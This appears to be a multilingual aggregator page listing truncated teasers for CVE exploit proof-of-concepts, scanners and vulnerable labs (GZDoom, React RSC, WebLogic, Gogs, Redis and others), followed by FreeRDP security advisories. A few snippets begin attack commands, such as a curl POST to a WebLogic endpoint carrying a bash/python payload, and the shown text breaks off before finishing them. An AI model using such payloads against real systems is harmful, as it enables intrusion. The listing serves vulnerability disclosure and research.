GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom = 4.13.1 Exécution de code arbitraire via ZScript malveillant Une preuve de concept pour une vulnérabilité d'exécution de code arbitraire que j'ai trouvée dans la fonctionnalité ZScript de GZDoom https://github.com/zdoom/gzdoom. Un attaquant peut partager un fichier PK3 contenant un fichie...

CVE-2025-55182

Scanner CVE-2025-55182 Ce dépôt contient un outil de scan pour CVE-2025-55182 , une vulnérabilité critique d'exécution de code à distance RCE dans les composants serveur React RSC. ⚠️ Avertissement Cet outil est destiné uniquement à des fins éducatives et de tests autorisés. N'utilisez pas cet...

CVE-2022-41040_Mitigation

Téléchargez le script sur la machine affectée et exécutez-le...

react-cve-2025-55182-lab

Установка: root@kitploit: git clone https://github.com/alexandre-briongos-wavestone/react-cve-2025-55182-lab root@kitploit: cd react-cve-2025-55182-lab root@kitploit: sudo docker build -t react-rsc-lab . root@kitploit: sudo docker run -p 3000:3000 react-rsc-lab Эксплойт: root@kitploit: curl...

CVE-2025-61228

CVE-2025-61228 Предупреждение Эта проблема, похоже, хуже, чем предполагает разработчик, поэтому я не хочу, чтобы эта часть затерялась в деталях. Разработчик отметил в своем блоге: Это может произойти только в том случае, если программа, работающая на вашей системе, ищет SuperDuper для выполнения...

cve-2017-12149-playground

De nombreuses industries critiques banque, santé et fabrication dépendent de middlewares hérités conçus spécifiquement pour fonctionner sur JBoss 5 ou 6. Parce que ces applications sont souvent trop fragiles pour migrer vers des versions modernes de WildFly le successeur de JBoss, les organisatio...

CVE-2025-68613

CVE-2025-68613 n8n — это платформа автоматизации рабочих процессов с открытым исходным кодом. Версии, начиная с 0.211.0 и до 1.120.4, 1.121.1 и 1.122.0, содержат критическую уязвимость удаленного выполнения кода RCE в системе оценки выражений рабочих процессов. При определенных условиях выражения...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478 C'est un scanner de vulnérabilité Next.js pour CVE-2025-66478. Il détecte si un site web utilise une version de Next.js affectée par la vulnérabilité RCE des RSC React Server Components. Installation et exécution Utilisation de uv recommandé uv est un...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 Un exploit simple pour CVE-2019-2725. Exemple de code: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2024-3912

Pourquoi ? Publication parce que Mirai sont une bande de cons irritants qui n'arrêtent pas de faire sauter mon honeypot avec ce truc – tu n'es pas le malware que je recherche. Dégagez s'il vous plaît. Voici leur IP de distribution de malware irritante et leur script de payload par défaut...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - Preuve de concept de CVE-2019-11447 POC par CRFSlick, découvert par AkkuS Un problème a été découvert dans CutePHP CuteNews 2.1.2. Un attaquant peut infiltrer le serveur via le processus de téléchargement d'avatar dans la zone de profil en utilisant le champ avatarfile ve...

CVE-2024-3400-POC

CVE-2024-3400 RCE Test Script Обзор Этот Python-скрипт предназначен для тестирования на уязвимость удаленного выполнения кода RCE CVE-2024-3400, которая затрагивает определенные порталы GlobalProtect от Palo Alto Networks. Уязвимость позволяет неавторизованное выполнение команд через манипуляцию...

CVE-2025-8110-Gogs-RCE-Exploit

Exploit RCE pour Gogs CVE-2025-8110 Un exploit Python automatisé pour CVE-2025-8110 dans Gogs. Cette vulnérabilité permet l'exécution de code à distance RCE en abusant de l'API PutContents, qui ne valide pas si un chemin de fichier est un lien symbolique. En écrasant le fichier interne .git/confi...

CVE-2025-55182

🚨 CVE-2025-55182 — React2Shell CVE-2025-55182 est une vulnérabilité critique d'Exécution de Code à Distance RCE affectant les composants serveur React RSC. 📌 Aperçu Cette vulnérabilité permet à des attaquants non authentifiés d'exécuter du code arbitraire sur les serveurs vulnérables. Le problème...

CVE-2025-60787

CVE-2025-60787 - MotionEye RCE MotionEye v0.43.1b4 Внедрение команд ОС Эксплойт для Proof-of-Concept, демонстрирующий внедрение команд ОС в уязвимости motionEye, веб-интерфейса для демона motion. Уязвимость использует параметр конфигурации imagefilename, который передаётся напрямую в оболочку без...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- Référence : https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - code python à exécuter...

CVE-2025-49844

🚨 CVE-2025-49844 — “RediShell” Exécution de code à distance critique dans le magasin en mémoire le plus rapide du monde Le scripting Lua de Redis vient de devenir la zone d'atterrissage parfaite après authentification. Attaquant authentifié → script Lua conçu → échappement du bac à sable → RCE...

CVE-2020-5902

🚨 CVE-2020-5902 — RCE sur TMUI F5 BIG-IP CVE-2020-5902 est une vulnérabilité critique d'exécution de code à distance RCE sans authentification dans l'interface utilisateur de gestion du trafic F5 BIG-IP TMUI / utilitaire de configuration. 📌 Aperçu Divulguée par F5 le 30 juin 2020 NVD publiée le 1...

freerdp security update

An update is available for freerdp. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released...

RLSA-2026:61379 Important: freerdp security update

FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released under the Apache license. The xfreerdp client can connect to RDP servers such as Microsoft Windows machines, xrdp, and VirtualBox. Security Fixes: FreeRDP: FreeRDP: Memory disclosure or denial of service via crafted RDP...